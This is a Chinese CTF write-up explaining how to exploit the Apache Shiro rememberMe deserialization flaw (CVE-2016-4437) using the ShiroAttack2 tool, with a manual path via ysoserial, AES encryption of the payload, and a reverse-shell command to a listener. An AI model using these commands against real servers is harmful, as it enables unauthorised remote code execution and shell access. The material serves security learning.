shiro反序列化(CVE-2016-4437)题解+工具下载提醒

描述:

Apache Shiro是美国阿帕奇(Apache)软件基金会的一套用于执行认证、授权、加密和会话管理的Java安全框架。
默认使用了CookieRememberMeManager,其处理cookie的流程是:

得到rememberMe的cookie值 -> Base64解码 –> AES解密 –> 反序列化。

然而AES的密钥是硬编码的(在网上可以搜到公开的固定的密钥),就可以构造恶意数据造成反序列化的RCE漏洞。

前期准备软件:

1.**ShiroAttack2**https://github.com/SummerSec/ShiroAttack2/releases/tag/4.7.0

此工具需要java环境,如果你的java环境比较新是没有图形化的,需要下载java8

这里建议更改一下ShiroAttack2打开方式为你下载的java8\bin\java.exe,这样就不用输入命令行了,然后再建立个快捷方式,一键打开即可:

1
D:\official\java8\bin\java.exe -jar "D:\official\ShiroAttack2\shiro_attack-4.7.0-SNAPSHOT-all\shiro_attack-4.7.0-SNAPSHOT-all.jar"

一开始我的思路还是扫描,明显是错的,我们应该去抓包观察

image-20260130191120690

明白,是shiro框架

image-20260130192521661

接下来的逻辑就是爆破密钥

方法一:yakit(比较麻烦,而且要下载插件,下载完还要手动替换)

方法二:下载ShiroAttack2

步骤详解:

  • 第一步:地址与连接
    • Target 框输入地址
  • 第二步:点“爆破密钥”

​ 别忘记找到后填写key

  • 第三步:解决“未找到构造链”
    • 在利用链下拉菜单中,在 ShiroAttack2 中请优先尝试:
      1. CommonsBeanutils1
      2. 如果不行,换 **CommonsBeanutils2**等等
    • 回显方式:既然你已经看到 Tomcat,请务必选择 TomcatEcho
  • 第四步:验证与执行
    • 点击 “检测当前利用链”
    • 看到日志显示 Success成功,切换到 “命令执行” 选项卡。
    • 输入:envcat /flag

image-20260130211345291

如果没用工具呢?

1. 关于“利用链” (Gadget Chain)

  • 工具里:你只是下拉选了 CommonsBeanutils1
  • 手动做:你需要去 GitHub 下载 ysoserial.jar,然后在命令行敲:java -jar ysoserial.jar CommonsBeanutils1 "env" > payload.bin
  • 原理:利用链就是利用目标服务器上已有的库(比如 commons-beanutils)的漏洞,把你的 env 命令传给系统。

2. 关于“加密投递”

  • 工具里:它自动帮你完成了。

  • 手动做:你需要写 Python 脚本,用 AES 算法对 payload.bin 进行加密。

    公式: Ciphertext=Base64(IV+AES_Encrypt(Key,Payload))

  • 原理:Shiro 规定了 rememberMe 必须是加密的,否则它不会去反序列化

3. 关于“回显” (Echo)

  • 工具里:你选了 TomcatEcho,执行后 Flag 直接显示在窗口里。
  • 手动做:如果你不会写回显代码,你只能用 “反弹 Shell”
    • 动作:你在自己电脑运行 nc -lvp 4444
    • 原理:你发给服务器的命令不是 env,而是 bash -i >& /dev/tcp/你的IP/4444 0>&1
    • 结果:服务器会主动连你的电脑,把它的终端界面传给你。